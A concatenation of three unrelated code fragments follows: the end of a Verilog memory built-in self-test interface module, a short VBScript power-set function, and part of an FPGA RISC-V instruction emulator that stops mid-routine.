case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI10 = DI10_IN;
1'b1 : DI10 = DI10_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI10_TEST_IN = DATA_TO_MEM[10];
// External memory bypass during logic test
assign DI10_DIN_OBS = DI10;
// Intercept functional signal with test mux
always @( DI9_IN or DI9_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI9 = DI9_IN;
1'b1 : DI9 = DI9_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI9_TEST_IN = DATA_TO_MEM[9];
// External memory bypass during logic test
assign DI9_DIN_OBS = DI9;
// Intercept functional signal with test mux
always @( DI8_IN or DI8_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI8 = DI8_IN;
1'b1 : DI8 = DI8_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI8_TEST_IN = DATA_TO_MEM[8];
// External memory bypass during logic test
assign DI8_DIN_OBS = DI8;
// Intercept functional signal with test mux
always @( DI7_IN or DI7_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI7 = DI7_IN;
1'b1 : DI7 = DI7_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI7_TEST_IN = DATA_TO_MEM[7];
// External memory bypass during logic test
assign DI7_DIN_OBS = DI7;
// Intercept functional signal with test mux
always @( DI6_IN or DI6_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI6 = DI6_IN;
1'b1 : DI6 = DI6_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI6_TEST_IN = DATA_TO_MEM[6];
// External memory bypass during logic test
assign DI6_DIN_OBS = DI6;
// Intercept functional signal with test mux
always @( DI5_IN or DI5_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI5 = DI5_IN;
1'b1 : DI5 = DI5_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI5_TEST_IN = DATA_TO_MEM[5];
// External memory bypass during logic test
assign DI5_DIN_OBS = DI5;
// Intercept functional signal with test mux
always @( DI4_IN or DI4_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI4 = DI4_IN;
1'b1 : DI4 = DI4_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI4_TEST_IN = DATA_TO_MEM[4];
// External memory bypass during logic test
assign DI4_DIN_OBS = DI4;
// Intercept functional signal with test mux
always @( DI3_IN or DI3_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI3 = DI3_IN;
1'b1 : DI3 = DI3_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI3_TEST_IN = DATA_TO_MEM[3];
// External memory bypass during logic test
assign DI3_DIN_OBS = DI3;
// Intercept functional signal with test mux
always @( DI2_IN or DI2_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI2 = DI2_IN;
1'b1 : DI2 = DI2_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI2_TEST_IN = DATA_TO_MEM[2];
// External memory bypass during logic test
assign DI2_DIN_OBS = DI2;
// Intercept functional signal with test mux
always @( DI1_IN or DI1_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI1 = DI1_IN;
1'b1 : DI1 = DI1_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI1_TEST_IN = DATA_TO_MEM[1];
// External memory bypass during logic test
assign DI1_DIN_OBS = DI1;
// Intercept functional signal with test mux
always @( DI0_IN or DI0_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI0 = DI0_IN;
1'b1 : DI0 = DI0_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI0_TEST_IN = DATA_TO_MEM[0];
// External memory bypass during logic test
assign DI0_DIN_OBS = DI0;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO31 = (LV_TM & OE_IN) ? DO31_FROM_BYPASS : 1'bz;
assign DO31_FROM_BYPASS = DO31_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO31_SCAN_IN <= 1'b0;
else
DO31_SCAN_IN <= DO31_TO_BYPASS;
end
assign DO31_TO_BYPASS = DI31_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO30 = (LV_TM & OE_IN) ? DO30_FROM_BYPASS : 1'bz;
assign DO30_FROM_BYPASS = DO30_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO30_SCAN_IN <= 1'b0;
else
DO30_SCAN_IN <= DO30_TO_BYPASS;
end
assign DO30_TO_BYPASS = DI30_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO29 = (LV_TM & OE_IN) ? DO29_FROM_BYPASS : 1'bz;
assign DO29_FROM_BYPASS = DO29_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO29_SCAN_IN <= 1'b0;
else
DO29_SCAN_IN <= DO29_TO_BYPASS;
end
assign DO29_TO_BYPASS = DI29_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO28 = (LV_TM & OE_IN) ? DO28_FROM_BYPASS : 1'bz;
assign DO28_FROM_BYPASS = DO28_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO28_SCAN_IN <= 1'b0;
else
DO28_SCAN_IN <= DO28_TO_BYPASS;
end
assign DO28_TO_BYPASS = DI28_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO27 = (LV_TM & OE_IN) ? DO27_FROM_BYPASS : 1'bz;
assign DO27_FROM_BYPASS = DO27_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO27_SCAN_IN <= 1'b0;
else
DO27_SCAN_IN <= DO27_TO_BYPASS;
end
assign DO27_TO_BYPASS = DI27_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO26 = (LV_TM & OE_IN) ? DO26_FROM_BYPASS : 1'bz;
assign DO26_FROM_BYPASS = DO26_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO26_SCAN_IN <= 1'b0;
else
DO26_SCAN_IN <= DO26_TO_BYPASS;
end
assign DO26_TO_BYPASS = DI26_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO25 = (LV_TM & OE_IN) ? DO25_FROM_BYPASS : 1'bz;
assign DO25_FROM_BYPASS = DO25_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO25_SCAN_IN <= 1'b0;
else
DO25_SCAN_IN <= DO25_TO_BYPASS;
end
assign DO25_TO_BYPASS = DI25_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO24 = (LV_TM & OE_IN) ? DO24_FROM_BYPASS : 1'bz;
assign DO24_FROM_BYPASS = DO24_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO24_SCAN_IN <= 1'b0;
else
DO24_SCAN_IN <= DO24_TO_BYPASS;
end
assign DO24_TO_BYPASS = DI24_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO23 = (LV_TM & OE_IN) ? DO23_FROM_BYPASS : 1'bz;
assign DO23_FROM_BYPASS = DO23_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO23_SCAN_IN <= 1'b0;
else
DO23_SCAN_IN <= DO23_TO_BYPASS;
end
assign DO23_TO_BYPASS = DI23_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO22 = (LV_TM & OE_IN) ? DO22_FROM_BYPASS : 1'bz;
assign DO22_FROM_BYPASS = DO22_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO22_SCAN_IN <= 1'b0;
else
DO22_SCAN_IN <= DO22_TO_BYPASS;
end
assign DO22_TO_BYPASS = DI22_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO21 = (LV_TM & OE_IN) ? DO21_FROM_BYPASS : 1'bz;
assign DO21_FROM_BYPASS = DO21_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO21_SCAN_IN <= 1'b0;
else
DO21_SCAN_IN <= DO21_TO_BYPASS;
end
assign DO21_TO_BYPASS = DI21_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO20 = (LV_TM & OE_IN) ? DO20_FROM_BYPASS : 1'bz;
assign DO20_FROM_BYPASS = DO20_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO20_SCAN_IN <= 1'b0;
else
DO20_SCAN_IN <= DO20_TO_BYPASS;
end
assign DO20_TO_BYPASS = DI20_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO19 = (LV_TM & OE_IN) ? DO19_FROM_BYPASS : 1'bz;
assign DO19_FROM_BYPASS = DO19_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO19_SCAN_IN <= 1'b0;
else
DO19_SCAN_IN <= DO19_TO_BYPASS;
end
assign DO19_TO_BYPASS = DI19_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO18 = (LV_TM & OE_IN) ? DO18_FROM_BYPASS : 1'bz;
assign DO18_FROM_BYPASS = DO18_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO18_SCAN_IN <= 1'b0;
else
DO18_SCAN_IN <= DO18_TO_BYPASS;
end
assign DO18_TO_BYPASS = DI18_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO17 = (LV_TM & OE_IN) ? DO17_FROM_BYPASS : 1'bz;
assign DO17_FROM_BYPASS = DO17_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO17_SCAN_IN <= 1'b0;
else
DO17_SCAN_IN <= DO17_TO_BYPASS;
end
assign DO17_TO_BYPASS = DI17_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO16 = (LV_TM & OE_IN) ? DO16_FROM_BYPASS : 1'bz;
assign DO16_FROM_BYPASS = DO16_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO16_SCAN_IN <= 1'b0;
else
DO16_SCAN_IN <= DO16_TO_BYPASS;
end
assign DO16_TO_BYPASS = DI16_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO15 = (LV_TM & OE_IN) ? DO15_FROM_BYPASS : 1'bz;
assign DO15_FROM_BYPASS = DO15_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO15_SCAN_IN <= 1'b0;
else
DO15_SCAN_IN <= DO15_TO_BYPASS;
end
assign DO15_TO_BYPASS = DI15_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO14 = (LV_TM & OE_IN) ? DO14_FROM_BYPASS : 1'bz;
assign DO14_FROM_BYPASS = DO14_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO14_SCAN_IN <= 1'b0;
else
DO14_SCAN_IN <= DO14_TO_BYPASS;
end
assign DO14_TO_BYPASS = DI14_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO13 = (LV_TM & OE_IN) ? DO13_FROM_BYPASS : 1'bz;
assign DO13_FROM_BYPASS = DO13_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO13_SCAN_IN <= 1'b0;
else
DO13_SCAN_IN <= DO13_TO_BYPASS;
end
assign DO13_TO_BYPASS = DI13_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO12 = (LV_TM & OE_IN) ? DO12_FROM_BYPASS : 1'bz;
assign DO12_FROM_BYPASS = DO12_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO12_SCAN_IN <= 1'b0;
else
DO12_SCAN_IN <= DO12_TO_BYPASS;
end
assign DO12_TO_BYPASS = DI12_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO11 = (LV_TM & OE_IN) ? DO11_FROM_BYPASS : 1'bz;
assign DO11_FROM_BYPASS = DO11_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO11_SCAN_IN <= 1'b0;
else
DO11_SCAN_IN <= DO11_TO_BYPASS;
end
assign DO11_TO_BYPASS = DI11_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO10 = (LV_TM & OE_IN) ? DO10_FROM_BYPASS : 1'bz;
assign DO10_FROM_BYPASS = DO10_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO10_SCAN_IN <= 1'b0;
else
DO10_SCAN_IN <= DO10_TO_BYPASS;
end
assign DO10_TO_BYPASS = DI10_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO9 = (LV_TM & OE_IN) ? DO9_FROM_BYPASS : 1'bz;
assign DO9_FROM_BYPASS = DO9_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO9_SCAN_IN <= 1'b0;
else
DO9_SCAN_IN <= DO9_TO_BYPASS;
end
assign DO9_TO_BYPASS = DI9_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO8 = (LV_TM & OE_IN) ? DO8_FROM_BYPASS : 1'bz;
assign DO8_FROM_BYPASS = DO8_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO8_SCAN_IN <= 1'b0;
else
DO8_SCAN_IN <= DO8_TO_BYPASS;
end
assign DO8_TO_BYPASS = DI8_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO7 = (LV_TM & OE_IN) ? DO7_FROM_BYPASS : 1'bz;
assign DO7_FROM_BYPASS = DO7_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO7_SCAN_IN <= 1'b0;
else
DO7_SCAN_IN <= DO7_TO_BYPASS;
end
assign DO7_TO_BYPASS = DI7_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO6 = (LV_TM & OE_IN) ? DO6_FROM_BYPASS : 1'bz;
assign DO6_FROM_BYPASS = DO6_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO6_SCAN_IN <= 1'b0;
else
DO6_SCAN_IN <= DO6_TO_BYPASS;
end
assign DO6_TO_BYPASS = DI6_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO5 = (LV_TM & OE_IN) ? DO5_FROM_BYPASS : 1'bz;
assign DO5_FROM_BYPASS = DO5_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO5_SCAN_IN <= 1'b0;
else
DO5_SCAN_IN <= DO5_TO_BYPASS;
end
assign DO5_TO_BYPASS = DI5_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO4 = (LV_TM & OE_IN) ? DO4_FROM_BYPASS : 1'bz;
assign DO4_FROM_BYPASS = DO4_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO4_SCAN_IN <= 1'b0;
else
DO4_SCAN_IN <= DO4_TO_BYPASS;
end
assign DO4_TO_BYPASS = DI4_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO3 = (LV_TM & OE_IN) ? DO3_FROM_BYPASS : 1'bz;
assign DO3_FROM_BYPASS = DO3_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO3_SCAN_IN <= 1'b0;
else
DO3_SCAN_IN <= DO3_TO_BYPASS;
end
assign DO3_TO_BYPASS = DI3_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO2 = (LV_TM & OE_IN) ? DO2_FROM_BYPASS : 1'bz;
assign DO2_FROM_BYPASS = DO2_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO2_SCAN_IN <= 1'b0;
else
DO2_SCAN_IN <= DO2_TO_BYPASS;
end
assign DO2_TO_BYPASS = DI2_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO1 = (LV_TM & OE_IN) ? DO1_FROM_BYPASS : 1'bz;
assign DO1_FROM_BYPASS = DO1_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO1_SCAN_IN <= 1'b0;
else
DO1_SCAN_IN <= DO1_TO_BYPASS;
end
assign DO1_TO_BYPASS = DI1_DIN_OBS;
//-------------------
//-- Memory Bypass --
//-------------------
assign DO0 = (LV_TM & OE_IN) ? DO0_FROM_BYPASS : 1'bz;
assign DO0_FROM_BYPASS = DO0_SCAN_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
DO0_SCAN_IN <= 1'b0;
else
DO0_SCAN_IN <= DO0_TO_BYPASS;
end
assign DO0_TO_BYPASS = DI0_DIN_OBS;
//----------------------
//-- Data From Memory --
//----------------------
assign DATA_FROM_MEM = {
DO31,
DO30,
DO29,
DO28,
DO27,
DO26,
DO25,
DO24,
DO23,
DO22,
DO21,
DO20,
DO19,
DO18,
DO17,
DO16,
DO15,
DO14,
DO13,
DO12,
DO11,
DO10,
DO9,
DO8,
DO7,
DO6,
DO5,
DO4,
DO3,
DO2,
DO1,
DO0
};
//-----------------------
//-- Shared Comparator --
//-----------------------
assign BIST_DATA_FROM_MEM[31] = DATA_FROM_MEM[31];
assign BIST_DATA_FROM_MEM[30] = DATA_FROM_MEM[30];
assign BIST_DATA_FROM_MEM[29] = DATA_FROM_MEM[29];
assign BIST_DATA_FROM_MEM[28] = DATA_FROM_MEM[28];
assign BIST_DATA_FROM_MEM[27] = DATA_FROM_MEM[27];
assign BIST_DATA_FROM_MEM[26] = DATA_FROM_MEM[26];
assign BIST_DATA_FROM_MEM[25] = DATA_FROM_MEM[25];
assign BIST_DATA_FROM_MEM[24] = DATA_FROM_MEM[24];
assign BIST_DATA_FROM_MEM[23] = DATA_FROM_MEM[23];
assign BIST_DATA_FROM_MEM[22] = DATA_FROM_MEM[22];
assign BIST_DATA_FROM_MEM[21] = DATA_FROM_MEM[21];
assign BIST_DATA_FROM_MEM[20] = DATA_FROM_MEM[20];
assign BIST_DATA_FROM_MEM[19] = DATA_FROM_MEM[19];
assign BIST_DATA_FROM_MEM[18] = DATA_FROM_MEM[18];
assign BIST_DATA_FROM_MEM[17] = DATA_FROM_MEM[17];
assign BIST_DATA_FROM_MEM[16] = DATA_FROM_MEM[16];
assign BIST_DATA_FROM_MEM[15] = DATA_FROM_MEM[15];
assign BIST_DATA_FROM_MEM[14] = DATA_FROM_MEM[14];
assign BIST_DATA_FROM_MEM[13] = DATA_FROM_MEM[13];
assign BIST_DATA_FROM_MEM[12] = DATA_FROM_MEM[12];
assign BIST_DATA_FROM_MEM[11] = DATA_FROM_MEM[11];
assign BIST_DATA_FROM_MEM[10] = DATA_FROM_MEM[10];
assign BIST_DATA_FROM_MEM[9] = DATA_FROM_MEM[9];
assign BIST_DATA_FROM_MEM[8] = DATA_FROM_MEM[8];
assign BIST_DATA_FROM_MEM[7] = DATA_FROM_MEM[7];
assign BIST_DATA_FROM_MEM[6] = DATA_FROM_MEM[6];
assign BIST_DATA_FROM_MEM[5] = DATA_FROM_MEM[5];
assign BIST_DATA_FROM_MEM[4] = DATA_FROM_MEM[4];
assign BIST_DATA_FROM_MEM[3] = DATA_FROM_MEM[3];
assign BIST_DATA_FROM_MEM[2] = DATA_FROM_MEM[2];
assign BIST_DATA_FROM_MEM[1] = DATA_FROM_MEM[1];
assign BIST_DATA_FROM_MEM[0] = DATA_FROM_MEM[0];
endmodule // SMARCHCHKB_LVISION_MEM0_INTERFACE
|
Function Dec2Bin(n)
q = n
Dec2Bin = ""
Do Until q = 0
Dec2Bin = CStr(q Mod 2) & Dec2Bin
q = Int(q / 2)
Loop
Dec2Bin = Right("00000" & Dec2Bin,6)
End Function
Function PowerSet(s)
arrS = Split(s,",")
PowerSet = "{"
For i = 0 To 2^(UBound(arrS)+1)-1
If i = 0 Then
PowerSet = PowerSet & "{},"
Else
binS = Dec2Bin(i)
PowerSet = PowerSet & "{"
c = 0
For j = Len(binS) To 1 Step -1
If CInt(Mid(binS,j,1)) = 1 Then
PowerSet = PowerSet & arrS(c) & ","
End If
c = c + 1
Next
PowerSet = Mid(PowerSet,1,Len(PowerSet)-1) & "},"
End If
Next
PowerSet = Mid(PowerSet,1,Len(PowerSet)-1) & "}"
End Function
WScript.StdOut.Write PowerSet("1,2,3,4")
|
<gh_stars>10-100
//
// Copyright 2018 MicroFPGA UG
// Apache 2.0 License
//
#include riscv.inc
//#include brd_mdp.inc
#include brd_sf2.inc
//#include brd_s7m.inc
//
// Start here
//
WREG := 0; ZERO := WREG; // simulator friendly version, can save 2 bytes in FPGA !
WREG := $FF
FF := WREG;
//#include spi_boot.inc
#include ramclear.inc
//#include raminit.inc
PC.lo := ZERO;
PC.hi := ZERO;
//======================================
//
// Main Loop
//
goto MainStart
MISALIGN_LD:
WREG := 4
goto misaling_ldst
MISALIGN_ST:
WREG := 6
misaling_ldst:
oldPC := PC
PC.lo := Z.lo
PC.hi := Z.hi
goto mtvec_mtval
Store_0:
RD0 := 0;
Store_RD_BYTE:
RD1 := 0;
Store_RD_WORD:
RD2 := 0;
RD3 := 0;
Store_RD:
// xxxx_xxxx xxxx_xxxx xxxx_4321 0xxx_xxxx
// x432 10xx
// Z.lo := I1
// swap Z.lo
// lsr Z.lo
// and Z.lo, $78
// if not I0.7 then skip; Z.lo := Z.lo or $04;
Z.lo := I1
swap Z.lo
//lsr Z.lo
and Z.lo, $F0
if not I0.7 then skip; Z.lo := Z.lo or $08;
// rd = 0? If so do not store it!
if Z.lo = $00 then MainLoop
// Store RD to r1..r31
Z.Hi := RRH; // Register save area
RAM[Z] := RD0;
RAM[Z+1] := RD1;
RAM[Z+2] := RD2;
RAM[Z+3] := RD3;
repeat
MainLoop:
//
// Fetch new instruction word into I0..I3
//
WREG := PC.lo
if not WREG.1 then NextPC
// Misaligned jump!
WREG := 0; // Misaligned jump
mtvec_mtval:
Z.hi := CRH
// store mtval
Z.lo := $30
RAM[Z] := PC.lo; //
RAM[Z+1] := PC.hi
mtvec_mepc:
// store mepc
Z.lo := $10
RAM[Z] := oldPC.lo; //
RAM[Z+1] := oldPC.hi
mtvec_ecause:
goto go_mtvec_ecause
//
NextPC:
//PC := PC+4;
PC.lo := PC.lo+4;
ADC PC.hi, ZERO
MainStart:
//
// Thread switching should appear here for hardware multithreaded support
//
oldPC := PC
Z := PC;
I0 := RAM[Z];
I1 := RAM[Z+1];
I2 := RAM[Z+2];
I3 := RAM[Z+3];
//
// Start instruction decoding and emulation
//
if I0.2 then goto I_XX_XX1
//
// need load rs1
//
// xxxx_xxxx xxxx_xxxx xxxx_4321 0xxx_xxxx
// x432 10xx
LD_rs1:
// Z.lo := I2
// swap Z.lo
// lsr Z.lo
// Z.lo := Z.lo and $78
// if not I1.7 then skip; Z.lo := Z.lo or $04;
Z.lo := I2
swap Z.lo
//lsr Z.lo
Z.lo := Z.lo and $F0
if not I1.7 then skip; Z.lo := Z.lo or $08;
//
Z.Hi := RRH; // Register save area
RS1_0 := RAM[Z];
RS1_1 := RAM[Z+1];
RS1_2 := RAM[Z+2];
RS1_3 := RAM[Z+3];
if I0.5 then goto I_X1_XX0
//
I_0X_XX0:
I_XX_XX0:
I_IMMED:
// Get immed 11:0 and sign extend
RD3 := $FF; //
RD2 := $FF; //
RD0 := I2; SWAP RD0; RD0 := RD0 and $0F;
SWAP I3;
RD1 := I3; RD1 := RD1 or $F0;
I3 := I3 and $F0; RD0 := RD0 or I3;
if RD1.3 then goto imm12_p
RD1 := RD1 and $0F;
RD2 := 0;
RD3 := 0;
imm12_p:
// 12 bit immed in RD
if not I0.4 then goto I_00_0X1 // JALR >>
// IMM ALU
if I1.6 then goto LOGIC
// 0XX
if I1.5 then goto DO_SLT
// 00X
if I1.4 then goto DO_SLLI
// 000
// ADDI
// 32 bit ADD
Do_ADDI:
RD0 := RD0 + RS1_0
ADC RD1, RS1_1
ADC RD2, RS1_2
ADC RD3, RS1_3
goto Store_RD
LOGIC:
if I1.5 then goto OR_AND
if I1.4 then goto Do_SR
Do_XOR:
RD0 := RD0 xor RS1_0
RD1 := RD1 xor RS1_1
RD2 := RD2 xor RS1_2
RD3 := RD3 xor RS1_3
goto Store_RD
OR_AND:
if I1.4 then goto DO_AND
Do_OR:
RD0 := RD0 or RS1_0
RD1 := RD1 or RS1_1
RD2 := RD2 or RS1_2
RD3 := RD3 or RS1_3
goto Store_RD
Do_AND:
RD0 := RD0 and RS1_0
RD1 := RD1 and RS1_1
RD2 := RD2 and RS1_2
RD3 := RD3 and RS1_3
goto Store_RD
Do_SLL:
RD0 := RS2_0
// Goto Do_SLLI
DO_SLLI:
RD0 := RD0 and $1F;
asm
breq Store_RS1
end
repeat
ADD RS1_0, RS1_0
ADC RS1_1, RS1_1
ADC RS1_2, RS1_2
ADC RS1_3, RS1_3
ADD RD0,FF
until FLAGS.1
// until --RD0;
Store_RS1:
RD0 := RS1_0;
RD1 := RS1_1;
RD2 := RS1_2;
RD3 := RS1_3;
goto Store_RD
Do_XOR_AND:
if I1.5 then goto OR_AND // bit
if not I1.4 then goto Do_XOR // bit
// SRL SRA
RD0 := RS2_0
RD1 := I3
swap RD1
// goto Do_SR
//
// SRLI, SRAI
//
Do_SR:
RD0 := RD0 and $1F;
asm
breq Store_RS1
end
// SRLI/SRAI?
// I3.6 > RD1.3 !
if not RD1.2 then goto DO_SRLI
// SRAI
repeat
ASR RS1_3
ROR RS1_2
ROR RS1_1
ROR RS1_0
